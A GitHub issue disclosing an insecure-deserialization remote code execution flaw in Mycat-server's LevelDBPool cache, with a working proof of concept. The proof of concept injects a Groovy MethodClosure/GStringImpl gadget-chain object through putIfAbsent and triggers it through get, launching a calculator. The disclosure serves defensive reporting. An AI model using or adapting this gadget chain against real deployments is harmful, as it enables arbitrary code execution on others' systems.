Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

A Remote Code Execution vulnerability #2954

Open
adv851 opened this issue Aug 15, 2024 · 0 comments
Open

A Remote Code Execution vulnerability #2954

adv851 opened this issue Aug 15, 2024 · 0 comments
Assignees
Labels

Comments

@adv851
Copy link

adv851 commented Aug 15, 2024

1、Description
When using LevelDBPool to cache frequently accessed data or to optimize distributed system performance, the LevelDBPool.get method does not perform type validation and security checks on cached objects when a user fetches them and deserializes them as Java instances. As a result, an attacker can trigger an insecure deserialization process by first injecting a malicious object in the cache using the putIfAbsent method and then fetching the object via the get method. In this way, the attacker can execute arbitrary code on the target system, posing a serious security threat.

2、affected versions
Mycat-server-1.6.7.6-test and earlier versions

3、 Reproduce
We can simulate the (simplified) process of exploiting this vulnerability by slightly modifying the TestCachePoolPerformance.java code (the test unit in the project source code).

/*
 * Copyright (c) 2020, OpenCloudDB/MyCAT and/or its affiliates. All rights reserved.
 * DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
 *
 * This code is free software;Designed and Developed mainly by many Chinese 
 * opensource volunteers. you can redistribute it and/or modify it under the 
 * terms of the GNU General Public License version 2 only, as published by the
 * Free Software Foundation.
 *
 * This code is distributed in the hope that it will be useful, but WITHOUT
 * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
 * FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
 * version 2 for more details (a copy is included in the LICENSE file that
 * accompanied this code).
 *
 * You should have received a copy of the GNU General Public License version
 * 2 along with this work; if not, write to the Free Software Foundation,
 * Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
 * 
 * Any questions about this component can be directed to it's project Web address 
 * https://code.google.com/p/opencloudb/.
 *
 */
package io.mycat.cache;

import io.mycat.cache.CachePool;
import io.mycat.cache.CacheStatic;
import io.mycat.cache.impl.EnchachePool;
import io.mycat.cache.impl.LevelDBCachePooFactory;
import io.mycat.cache.impl.MapDBCachePooFactory;
/**
 * test cache performance ,for encache test set  VM param  -server -Xms1100M -Xmx1100M
 * for mapdb set vm param -server -Xms100M -Xmx100M -XX:MaxPermSize=1G
 */
import net.sf.ehcache.Cache;
import net.sf.ehcache.CacheManager;
import net.sf.ehcache.config.CacheConfiguration;
import net.sf.ehcache.config.MemoryUnit;

import static demo.payload.evilObjGenerator.EvilObjGenerator.getEvilBshObj;

public class TestCachePoolPerformance {
	private CachePool pool;
	private int maxCacheCount = 100 * 10000;

	public static CachePool createEnCachePool() {
		CacheConfiguration cacheConf = new CacheConfiguration();
		cacheConf.setName("testcache");
		cacheConf.maxBytesLocalHeap(400, MemoryUnit.MEGABYTES)
				.timeToIdleSeconds(3600);
		Cache cache = new Cache(cacheConf);
		CacheManager.create().addCache(cache);
		EnchachePool enCachePool = new EnchachePool(cacheConf.getName(),cache,400*10000);
		return enCachePool;
	}

	public static CachePool createLevelDBCachePool() {
		LevelDBCachePooFactory fact = new LevelDBCachePooFactory();
		return fact.createCachePool("mapdbcache", 100 * 10000, 3600);
	}

	public void test() throws Exception {
		testSwarm();
	}

	private void testSwarm() throws Exception {
		System.out.println("prepare ........");
		for (int i = 0; i < 2; i++) {
			pool.putIfAbsent(i % 100, getEvilBshObj());  // point 1: inject evil object
		}
		for (int i = 0; i < 2; i++) {
			pool.get(i % 100);  // point 2: trigger the unsafe deserialization process, and launch a remote code execution attack.
		}
		pool.clearCache();
	}

	public static void main(String[] args) throws Exception {
		TestCachePoolPerformance tester = new TestCachePoolPerformance();
		tester.pool = createLevelDBCachePool();
		tester.test();
	}
}
public class LevelDBPool implements CachePool {
	@Override
	public Object get(Object key) {
		
		Object  ob= toObject(cache.get(toByteArray(key)));
		if (ob != null) {
			if (LOGGER.isDebugEnabled()) {
				LOGGER.debug(name+" hit cache ,key:" + key);
			}
			cacheStati.incHitTimes();
			return ob;
		} else {
			if (LOGGER.isDebugEnabled()) {
				LOGGER.debug(name+"  miss cache ,key:" + key);
			}
			cacheStati.incAccessTimes();
			return null;
		}
	}

    public  Object toObject (byte[] bytes) {        
        Object obj = null;   
        if ((bytes==null) || (bytes.length<=0)) {
        	return obj;
        }
        try {          
            ByteArrayInputStream bis = new ByteArrayInputStream (bytes);          
            ObjectInputStream ois = new ObjectInputStream (bis);          
            obj = ois.readObject();        
            ois.close();     
            bis.close();     
        } catch (IOException ex) {    
            LOGGER.error("toObjectError", ex);
        } catch (ClassNotFoundException ex) {          
            LOGGER.error("toObjectError", ex);
        }        
        return obj;      
    } 
}

point 2: LevelDBPool.get method uses the JDK's native deserialization protocol, and the absence of any configured blacklists, a multitude of well-known gadget chains can be employed for attacks. Below, an example is provided using a well-known gadget chain (e.g. in getEvilBshObj()).

  • This gadget chain relies on a popular component and is configured as follows.
		<dependency>
			<groupId>org.codehaus.groovy</groupId>
			<artifactId>groovy</artifactId>
			<version>2.3.9</version>
		</dependency>
  • Exploit code example within getEvilBshObj()
    public static Object getEvilBshObj() throws Exception {
        MethodClosure closure = new MethodClosure( "open /System/Applications/Calculator.app", "execute");
        Reflections.setFieldValue(closure, "maximumNumberOfParameters", 0);

        GStringImpl gString = Reflections.createWithoutConstructor(GStringImpl.class);
        Object[] values = new Object[3];
        values[0] = closure;
        String[] strings = new String[3];
        strings[0] = "xnaisxiuw";

        Reflections.setFieldValue(gString, "values", values);
        Reflections.setFieldValue(gString, "strings", strings);

        return makeMap(gString,gString);
    }

    public static HashMap makeMap ( Object v1, Object v2 ) throws Exception, ClassNotFoundException, NoSuchMethodException, InstantiationException,
            IllegalAccessException, InvocationTargetException {
        HashMap s = new HashMap();
        Reflections.setFieldValue(s, "size", 2);
        Class nodeC;
        try {
            nodeC = Class.forName("java.util.HashMap$Node");
        }
        catch ( ClassNotFoundException e ) {
            nodeC = Class.forName("java.util.HashMap$Entry");
        }
        Constructor nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC);
        Reflections.setAccessible(nodeCons);

        Object tbl = Array.newInstance(nodeC, 2);
        Array.set(tbl, 0, nodeCons.newInstance(0, v1, v1, null));
        Array.set(tbl, 1, nodeCons.newInstance(0, v2, v2, null));
        Reflections.setFieldValue(s, "table", tbl);
        return s;
    }

Reflection.java

public class Reflections {

    public static void setAccessible(AccessibleObject member) {
        String versionStr = System.getProperty("java.version");
        int javaVersion = Integer.parseInt(versionStr.split("\\.")[0]);
        if (javaVersion < 12) {
            // quiet runtime warnings from JDK9+
            Permit.setAccessible(member);
        } else {
            member.setAccessible(true);
        }
    }

    public static void setFieldValue(Object obj, String field, Object value){
        try{
            Class clazz = obj.getClass();
            Field fld = getField(clazz,field);
            fld.setAccessible(true);
            fld.set(obj, value);
        }catch (Exception e){
            e.printStackTrace();
        }
    }

    public static Field getField (final Class<?> clazz, final String fieldName ) throws Exception {
        try {
            Field field = clazz.getDeclaredField(fieldName);
            if ( field != null )
                field.setAccessible(true);
            else if ( clazz.getSuperclass() != null )
                field = getField(clazz.getSuperclass(), fieldName);

            return field;
        }
        catch ( NoSuchFieldException e ) {
            if ( !clazz.getSuperclass().equals(Object.class) ) {
                return getField(clazz.getSuperclass(), fieldName);
            }
            throw e;
        }
    }

    public static Constructor<?> getFirstCtor(final String name) throws Exception {
        final Constructor<?> ctor = Class.forName(name).getDeclaredConstructors()[0];
        setAccessible(ctor);
        return ctor;
    }
    public static <T> T createWithoutConstructor ( Class<T> classToInstantiate )
            throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException {
        return createWithConstructor(classToInstantiate, Object.class, new Class[0], new Object[0]);
    }
}

Attack Impact

Remote Command Execution (RCE), in this attack test, manifests as the invocation of the calculator application.
截屏2024-08-16 00 03 11
截屏2024-08-16 00 03 50

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
Projects
None yet
Development

No branches or pull requests

2 participants